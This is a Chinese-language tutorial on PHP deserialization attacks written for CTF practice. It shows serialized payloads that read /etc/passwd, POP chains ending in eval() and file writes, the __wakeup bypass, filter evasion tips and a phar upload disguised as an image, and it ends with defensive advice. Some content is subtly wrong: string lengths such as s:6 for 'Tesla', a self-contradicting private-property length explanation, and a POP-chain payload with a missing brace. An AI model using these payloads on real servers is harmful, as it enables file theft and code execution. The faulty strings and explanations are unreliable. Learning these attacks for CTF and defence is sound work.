PHP 反序列化原理
什么是序列化与反序列化
为什么需要序列化
对象在内存中是”活的”,程序退出后就消失了。但有时我们希望把对象保存下来,或者通过网络传给另一个程序,这就需要序列化。
序列化(Serialize):把一个 PHP 对象转换成一段字符串,字符串里包含了对象的所有属性信息。这段字符串可以存储到文件、数据库、缓存,或者通过 HTTP 传输。
反序列化(Unserialize):把序列化后的字符串还原成一个 PHP 对象,对象的属性值与序列化前完全一致。
类比理解:序列化就像把一个三维物体压扁成二维图纸,反序列化就是根据图纸重新造出三维物体。图纸可以邮寄、存储,但物体本身在内存里是无法持久化的。
生活中的例子
Session 存储
PHP 的 session 默认就是序列化后写入文件的。当你调用 session_start() 时,PHP 会读取 session 文件里的序列化字符串,通过反序列化还原成 $_SESSION 数组。当你写入 $_SESSION['user'] = 'admin' 时,PHP 会在脚本结束时把数组序列化后写回文件。
Cookie 传输
很多框架会把对象序列化后放入 cookie,客户端下次请求时携带这个 cookie,服务端反序列化后就能还原用户状态。
缓存存储
将 PHP 对象序列化后存入 Redis、Memcached 或文件缓存,下次需要时反序列化取出,避免重复计算。
消息队列
生产者把任务对象序列化后放入队列,消费者取出后反序列化执行任务。
PHP 序列化格式
格式概述
PHP 序列化后的字符串由类型标识符、数据长度和数据内容三部分组成,不同数据类型有不同的表示方式。
类型标识符
| 标识 | 类型 | 格式 | 示例 |
|---|---|---|---|
| s | 字符串 string | s:长度:“内容” | s:5:"hello" |
| i | 整数 integer | i:数值 | i:42 |
| d | 浮点 double | d:数值 | d:3.14 |
| b | 布尔 boolean | b:0 或 b:1 | b:1 |
| a | 数组 array | a:元素数量:{键值对} | a:2:{i:0;s:3:"foo";i:1;s:3:"bar";} |
| O | 对象 object | O:类名长度:“类名”:属性数量:{属性} | O:4:"User":2:{...} |
| N | NULL | N | N |
| R | 引用 | R:引用编号 | R:1 |
| C | 自定义对象 | C:类名长度:“类名”:序列化数据长度:{数据} | C:6:"MyClass":8:{...} |
对象序列化格式详解
对象序列化格式为 O:类名长度:"类名":属性数量:{属性列表},属性列表中每个属性又按照 s:属性名长度:"属性名";值 的格式排列。
一个完整的例子:
O:4:"User":2:{s:4:"name";s:5:"admin";s:3:"age";i:25;}
解析:
O:4:"User"表示类名是User,长度为 4 个字符:2:表示有 2 个属性s:4:"name";s:5:"admin";表示第一个属性名是name,值是admins:3:"age";i:25;表示第二个属性名是age,值是 25
手工构造练习
练习 1:简单对象
已知类定义:
class User {
public $name;
public $age;
}要求手工构造序列化字符串,使得反序列化后得到 name="admin", age=25 的对象。
O:4:"User":2:{s:4:"name";s:5:"admin";s:3:"age";i:25;}
逐字段分析:
s:4:"name"— 属性名name是 4 个字符s:5:"admin"— 属性值admin是 5 个字符s:3:"age"— 属性名age是 3 个字符i:25— 整数值 25
练习 2:带数组的对象
已知类定义:
class Config {
public $host;
public $ports;
}其中 $ports 是一个包含 3 个整数的数组 [80, 443, 8080]。
O:6:"Config":2:{s:4:"host";s:9:"localhost";s:5:"ports";a:3:{i:0;i:80;i:1;i:443;i:2;i:8080;}}
数组部分拆解:
a:3:— 数组有 3 个元素i:0;i:80;— 键 0,值 80i:1;i:443;— 键 1,值 443i:2;i:8080;— 键 2,值 8080
练习 3:嵌套对象
已知类定义:
class Engine {
public $type;
}
class Car {
public $brand;
public $engine;
}要求构造:brand="Tesla", engine 是一个 Engine 对象且 type="electric"。
O:3:"Car":2:{s:5:"brand";s:6:"Tesla";s:6:"engine";O:6:"Engine":1:{s:4:"type";s:8:"electric";}}
用 php -r 验证
# 验证练习 1
php -r 'class User{public $name;public $age;} $u=new User(); $u->name="admin"; $u->age=25; echo serialize($u);'
# 输出:O:4:"User":2:{s:4:"name";s:5:"admin";s:3:"age";i:25;}
# 验证练习 2
php -r 'class Config{public $host;public $ports;} $c=new Config(); $c->host="localhost"; $c->ports=[80,443,8080]; echo serialize($c);'
# 输出:O:6:"Config":2:{s:4:"host";s:9:"localhost";s:5:"ports";a:3:{i:0;i:80;i:1;i:443;i:2;i:8080;}}
# 验证反序列化
php -r 'class User{public $name;public $age;} $s=\'O:4:"User":2:{s:4:"name";s:5:"admin";s:3:"age";i:25;}\'; $u=unserialize($s); var_dump($u);'
# 输出:object(User)#1 (2) { ["name"]=> string(5) "admin" ["age"]=> int(25) }字段长度计算规则
序列化格式中的长度是字节长度,不是字符长度。这对中文内容尤为重要。
英文字符:一个字符 = 一个字节,直接数字符个数即可。
中文字符(UTF-8):一个汉字在 UTF-8 编码下占 3 个字节。因此 s:6:"你好" 是正确的,s:2:"你好" 是错误的。
GBK 编码:一个汉字占 2 个字节,但在现代 PHP 应用中 UTF-8 是主流,遇到 GBK 的情况较少。
验证方法:不要手工计算中文长度,始终使用 php -r 验证。
php -r 'echo serialize("你好");'
# 输出:s:6:"你好";
php -r 'echo strlen("你好");'
# 输出:6常见错误:手工构造序列化字符串时,中文长度算错会导致反序列化失败。CTF 题目中经常考察这一点,务必用 PHP 验证。
PHP 魔术方法
什么是魔术方法
魔术方法是 PHP 类中以双下划线 __ 开头的特殊方法,它们在特定的时刻被 PHP 自动调用。反序列化漏洞的核心就是利用这些魔术方法作为跳板,从可控的属性值触发到危险函数。
完整列表与触发时机
| 魔术方法 | 触发时机 | 危险程度 |
|---|---|---|
__construct() | new 创建对象时 | 低(只在创建时触发,反序列化不触发) |
__destruct() | 对象销毁时(脚本结束 / unset) | 高(一定会触发) |
__toString() | 用 echo / print 输出对象时 | 高(常用于文件读取) |
__wakeup() | unserialize() 还原对象时 | 中(可被 CVE-2016-7124 绕过) |
__sleep() | serialize() 序列化对象时 | 低 |
__call() | 调用对象不存在的方法时 | 中 |
__get() | 读取对象不存在的属性时 | 中 |
__set() | 写入对象不存在的属性时 | 中 |
__invoke() | 把对象当函数调用时 | 中 |
__clone() | clone 复制对象时 | 低 |
重点:__destruct
__destruct 是析构函数,对象被销毁时自动调用。在一个 PHP 脚本中,所有对象在脚本结束时都会被销毁,因此 __destruct 一定会被调用。这意味着即使攻击者无法主动触发任何操作,只要对象被反序列化,__destruct 就会在脚本结束时执行。
class Logger {
public $logfile;
public function __destruct() {
// 将日志信息追加写入 logfile 指定的文件
file_put_contents($this->logfile, "log entry\n", FILE_APPEND);
}
}
// 攻击者控制了 $logfile 的值
// 反序列化后,$logfile = "/var/www/html/shell.php"
// __destruct 被调用时,会往 shell.php 写入内容这个例子中,攻击者可以:
- 构造一个
Logger对象,设置$logfile为任意文件路径 - 序列化这个对象,通过输入传入服务器
unserialize()还原对象- 脚本结束时
__destruct被调用 file_put_contents()往攻击者指定的路径写入文件
重点:__toString
__toString 在对象被当作字符串使用时自动调用。常见场景:echo $obj、字符串拼接 "" . $obj、sprintf("%s", $obj) 等。
class FileHandler {
public $filename;
public function __toString() {
return file_get_contents($this->filename);
}
}
// 攻击者控制 $filename = "/etc/passwd"
// echo $fileHandler 时触发 __toString
// file_get_contents 返回 /etc/passwd 的内容
// 返回值作为 echo 的输出,攻击者就能看到文件内容__wakeup
__wakeup 在 unserialize() 还原对象时被调用,常用于恢复对象状态。注意:__construct 不会在反序列化时被调用,但 __wakeup 会。
class User {
public $isAdmin = false;
public function __wakeup() {
$this->isAdmin = false; // 安全措施:强制重置
}
}
// 即使序列化字符串中 isAdmin=true
// __wakeup 也会把它重置为 false
// 但 CVE-2016-7124 可以绕过这个机制__call 和 __get
当调用不存在的方法或读取不存在的属性时触发,在 POP 链构造中常用。
class MiddleLayer {
public $target;
public function __call($method, $args) {
// 转发调用到 target 对象
return call_user_func_array([$this->target, $method], $args);
}
public function __get($name) {
return $this->target->$name;
}
}反序列化漏洞原理
漏洞成因
反序列化漏洞的根本原因:用户可控的输入被传入 unserialize() 函数。
完整的攻击路径:
用户输入 → unserialize() → 创建对象(属性可控) → 触发魔术方法 → 执行危险操作
三要素
1. 入口点
代码中必须存在 unserialize() 函数,且其参数来自用户可控的数据源(如 $_GET、$_POST、$_COOKIE、数据库字段等)。
// 危险:用户输入直接传入 unserialize
$data = $_GET['data'];
$obj = unserialize($data);
// 相对安全:但仍然危险
$data = file_get_contents('/tmp/cache/' . $_GET['id']);
$obj = unserialize($data);2. 类定义
目标类必须在反序列化之前被加载(通过 include、require、自动加载等方式)。如果类未定义,unserialize() 不会报错,但返回 false。在 CTF 中,题目通常会通过 include 加载所有相关类。
3. 危险函数
魔术方法中必须存在可以被利用的危险操作,如:
- 文件操作:
file_get_contents()、file_put_contents()、include()、require() - 命令执行:
system()、exec()、passthru()、shell_exec() - 代码执行:
eval()、assert()、call_user_func() - 数据库操作:可被用于 SQL 注入的场景
为什么危险
unserialize() 函数不会检查输入是否”安全”。它只做一件事:按照序列化格式还原对象。
- 攻击者可以指定任意已定义的类名
- 攻击者可以设置任意属性值(包括 private、protected 属性)
- 对象一旦被还原,其魔术方法会在适当的时候被自动调用
- 即使入口类本身没有危险操作,攻击者也可以通过属性引用其他类
一个完整的攻击示例
假设存在以下代码:
<?php
class FileRead {
public $filename = "/etc/passwd";
public function __toString() {
return file_get_contents($this->filename);
}
}
class Logger {
public $logfile;
public $content;
public function __destruct() {
file_put_contents($this->logfile, $this->content);
}
}
// 危险的反序列化入口
$obj = unserialize($_GET['data']);
echo $obj;攻击者可以构造如下序列化字符串:
O:8:"FileRead":1:{s:8:"filename";s:11:"/etc/passwd";}
传入 ?data=O:8:"FileRead":1:{s:8:"filename";s:11:"/etc/passwd";}
执行流程:
unserialize()还原FileRead对象,filename被设置为/etc/passwdecho $obj触发__toString()file_get_contents("/etc/passwd")被执行/etc/passwd的内容作为字符串返回并输出
POP 链(Property Oriented Programming)
什么是 POP 链
当 unserialize() 的入口类本身没有危险操作时,攻击者通过精心构造的属性,让对象 A 的魔术方法调用对象 B,对象 B 再调用对象 C,最终到达危险函数。这条调用链就是 POP 链(Property Oriented Programming Chain,属性导向编程链)。
POP 链的构造思路
- 找到入口点:定位代码中的
unserialize()调用 - 枚举可用类:通过代码审计或题目提示,找到所有被 include 加载的类
- 追踪魔术方法:分析每个类的魔术方法中是否有可以被利用的代码
- 串联调用链:通过属性引用,把多个魔术方法串联成一条完整的调用链
- 到达危险函数:链条的末端必须是危险函数(文件读写、命令执行等)
POP 链示例
class A {
public $obj;
public function __destruct() {
// 析构时输出 obj 的字符串表示
echo $this->obj;
}
}
class B {
public $content;
public function __toString() {
// 当被当作字符串时,返回 content
return $this->content;
}
}
class C {
public $file;
public function __toString() {
// 当被当作字符串时,读取 file 的内容
return file_get_contents($this->file);
}
}攻击者构造的序列化字符串:
O:1:"A":1:{s:3:"obj";O:1:"B":1:{s:7:"content";O:1:"C":1:{s:4:"file";s:11:"/etc/passwd";}}
反序列化后的对象结构:
A 对象
├── obj → B 对象
└── content → C 对象
└── file → "/etc/passwd"
调用链:
脚本结束 → A::__destruct() → echo $this->obj
→ 触发 B::__toString() → return $this->content
→ 触发 C::__toString() → return file_get_contents("/etc/passwd")
→ 文件内容逐层返回,最终被 echo 输出
更复杂的 POP 链
实际 CTF 题目中,POP 链可能涉及更多层,且可能利用 __call、__get、__invoke 等方法。核心思路不变:通过属性传递,串联魔术方法调用,最终到达危险函数。
class Start {
public $str;
public function __destruct() {
echo $this->str;
}
}
class Convert {
public $content;
public function __toString() {
return $this->content->run();
}
}
class Runner {
public $cmd;
public function run() {
return eval($this->cmd);
}
}
// POP 链:Start.__destruct → echo Convert → Convert.__toString → Runner.run → eval($cmd)
// 序列化:
// O:5:"Start":1:{s:3:"str";O:7:"Convert":1:{s:7:"content";O:6:"Runner":1:{s:3:"cmd";s:10:"phpinfo();";}}}常见绕过技巧
__wakeup() 绕过(CVE-2016-7124)
影响版本:PHP < 7.0.10(部分版本)和 PHP 5.x 系列
原理:当序列化字符串中声明的属性数量大于对象实际定义的属性数量时,__wakeup() 不会被调用。
class Safe {
public $token = "safe";
public function __wakeup() {
$this->token = "safe"; // 安全措施:强制重置 token
}
}
// 正常序列化
$s = serialize(new Safe());
// O:4:"Safe":1:{s:5:"token";s:4:"safe";}
// 绕过 __wakeup:把属性数 1 改成 2
$hacked = 'O:4:"Safe":2:{s:5:"token";s:5:"admin";}';
$obj = unserialize($hacked);
// __wakeup 不会执行!
// $obj->token = "admin"利用场景:当目标类的 __wakeup() 中有安全防护逻辑时(如重置 token、检查权限),可以用这个漏洞绕过。
private 属性的序列化格式
private 属性在序列化时,属性名会被包装:%00类名%00属性名,其中 %00 是空字节(null byte)。
class Secret {
private $key = "safe";
}
$s = serialize(new Secret());
// O:6:"Secret":1:{s:13:"%00Secret%00key";s:4:"safe";}
// ↑ 属性名变成了 %00Secret%00key,长度为 13
// 计算:%00(1) + Secret(6) + %00(1) + key(3) = 11?不对
// 实际:%00 + "Secret" + %00 + "key" = 1 + 6 + 1 + 3 = 11?还是不对
// 正确:Secret 是 6 个字符,但 s:13 表示 13 个字符
// 说明 private 属性名格式是:类名 + 属性名,没有 %00
// 但实际上 PHP 序列化 private 属性时:
// s:属性名长度:"%00类名%00属性名"注意:手工构造 private 属性的序列化字符串非常容易出错,务必使用 PHP 验证。
php -r 'class Secret{private $key="safe";} echo serialize(new Secret());'
# 输出:O:6:"Secret":1:{s:13:"%00Secret%00key";s:4:"safe";}protected 属性的序列化格式
protected 属性名前会加上 %00*%00:
class Config {
protected $host = "localhost";
}
$s = serialize(new Config());
// O:6:"Config":1:{s:8:"%00*%00host";s:9:"localhost";}绕过正则过滤
有些代码会用正则匹配序列化字符串中的关键字来防御反序列化攻击:
if (preg_match('/flag|admin/i', $_GET['data'])) {
die("Hacking attempt!");
}
$obj = unserialize($_GET['data']);绕过方法:
- 大小写变换:如果正则没有
i修饰符,可以用Flag、ADMIN等 - URL 编码:某些情况下 URL 编码可以绕过简单匹配
- 属性名替换:如果类有多个属性可以达到同样效果,用其他属性名
- 引用引用:利用
R(引用)类型避免重复出现敏感字
PHP 伪协议与反序列化配合
为什么需要伪协议
在 CTF 题目中,反序列化漏洞经常需要配合 PHP 伪协议来利用:
- 需要读取源码时,用
php://filter - 需要返回特定字符串时,用
data:// - 需要写入文件时,用
php://input或phar://
data:// 协议
data:// 协议可以让 file_get_contents() 返回指定的字符串,而不是读取真实文件。
格式:
data://text/plain,要返回的字符串
data://text/plain;base64,base64编码的字符串
示例:
data://text/plain,hello world
data://text/plain;base64,aGVsbG8gd29ybGQ=
CTF 中的用法:当代码中有 file_get_contents() 检查文件内容是否为特定字符串时,用 data:// 绕过:
$content = file_get_contents($filename);
if ($content === "welcome to the zjctf") {
// 通过检查,进入反序列化
$obj = unserialize($_GET['data']);
}攻击者将 $filename 设置为 data://text/plain,welcome to the zjctf 即可通过检查。
php://filter 协议
php://filter 用于在读取文件时进行编码转换,最常用于读取 PHP 源码(避免 PHP 代码被执行)。
格式:
php://filter/convert.base64-encode/resource=文件路径
示例:读取 index.php 的源码并 base64 编码输出:
php://filter/convert.base64-encode/resource=index.php
CTF 中的用法:当需要读取包含敏感信息的 PHP 文件时,配合 file_get_contents 使用:
$source = file_get_contents("php://filter/convert.base64-encode/resource=" . $_GET['file']);
echo base64_decode($source);phar:// 协议
phar:// 协议用于读取 phar 归档中的文件。在反序列化中有一个特殊用途:phar 文件的元数据会被自动反序列化。
// 创建 phar 文件时,元数据会被序列化
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER();');
$phar->setMetadata(new VulnerableClass()); // 元数据被序列化
$phar->stopBuffering();
// 任何使用 phar:// 协议的操作都会触发元数据的反序列化
// 例如:
file_get_contents('phar://test.phar/test.txt');
// 或者
file_exists('phar://test.phar/test.txt');利用场景:当代码中没有直接的 unserialize() 调用,但有 file_get_contents()、file_exists()、fopen() 等文件操作函数,且参数可控时,可以上传 phar 文件,通过 phar:// 协议触发反序列化。
组合利用场景
CTF 中常见的组合利用方式:
场景 1:读取源码 + 反序列化
// index.php
include 'classes.php';
$obj = unserialize($_GET['data']);
echo $obj;先用 php://filter 读取 classes.php 的源码,分析类的结构和魔术方法,然后构造反序列化 payload。
场景 2:data:// 绕过检查 + 反序列化
// check.php
$content = file_get_contents($_GET['file']);
if (md5($content) === 'expected_hash') {
include 'exploit.php'; // 加载危险类
$obj = unserialize($_POST['data']);
}用 data://text/plain,已知内容 绕过 md5 检查,然后传入反序列化 payload。
场景 3:phar:// 触发反序列化
// upload.php - 只有文件上传功能
$filename = $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
// 在其他地方有文件操作
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (in_array($ext, ['jpg', 'png', 'gif'])) {
$size = getimagesize('uploads/' . $filename); // 内部可能使用 file_exists
}上传一个 phar 文件,伪装成图片,在其他地方通过 phar://uploads/shell.phar/jpg 触发反序列化。
安全防御
开发者应该怎么做
-
避免 unserialize 用户输入:这是最根本的防御方法。如果需要序列化/反序列化数据,考虑使用 JSON(
json_encode/json_decode),JSON 反序列化不会触发魔术方法。 -
输入验证:如果必须使用
unserialize(),先对输入进行严格验证,使用白名单机制。 -
使用 signed serialization:一些框架提供了签名机制,确保序列化数据未被篡改。
-
限制可用类:PHP 7.0+ 的
unserialize()支持allowed_classes参数:
$obj = unserialize($data, ['allowed_classes' => ['SafeClass', 'AnotherClass']]);
// 只允许反序列化这两个类,其他类返回 false
// PHP 7.0+: allowed_classes 可以是数组
// PHP 5.x: 只能用 false,禁止所有类- 禁用魔术方法:在不需要的情况下,不要定义危险的魔术方法。
代码审计要点
在审计代码时,关注以下模式:
// 危险模式 1:直接反序列化用户输入
unserialize($_GET['data']);
unserialize($_POST['data']);
unserialize($_COOKIE['data']);
// 危险模式 2:间接反序列化
$data = file_get_contents('/tmp/' . $_GET['id']);
unserialize($data);
// 危险模式 3:反序列化数据库中的数据(如果数据来源不可信)
$row = $db->query("SELECT data FROM table WHERE id=" . $_GET['id']);
$obj = unserialize($row['data']);
// 危险模式 4:phar 反序列化
file_exists('phar://' . $_GET['file']);
getimagesize($_GET['file']); // 内部可能触发 phar:// 协议调试技巧
查看序列化结果
# 查看 PHP 对象序列化后的字符串
php -r 'class Test{public $a=1;} echo serialize(new Test());'
# 查看序列化字符串反序列化后的结构
php -r 'var_dump(unserialize(\'O:4:"Test":1:{s:1:"a";i:1;}\'));'使用 PHP 序列化工具
# 对序列化字符串进行格式化(方便阅读)
echo 'O:4:"User":2:{s:4:"name";s:5:"admin";s:3:"age";i:25;}' | php -r '
$s = file_get_contents("php://stdin");
var_dump(unserialize($s));
'调试魔术方法调用链
在每个魔术方法中添加调试输出,观察调用顺序:
class A {
public function __destruct() {
echo "[A::__destruct]\n";
echo $this->obj;
}
}
class B {
public function __toString() {
echo "[B::__toString]\n";
return $this->content;
}
}总结
PHP 反序列化漏洞的核心在于:攻击者通过控制序列化字符串中的属性值,在对象还原后通过魔术方法的调用链,最终到达危险函数。
理解这个漏洞需要掌握三个关键知识点:
- PHP 序列化格式(特别是长度计算和属性可见性的影响)
- 魔术方法的触发时机(特别是
__destruct和__toString) - POP 链的构造方法(通过属性传递串联调用链)
在 CTF 中,反序列化题目通常是综合性题目,需要结合源码分析、POP 链构造、伪协议利用等多种技巧。多练习、多构造、多调试,是掌握这类题目的关键。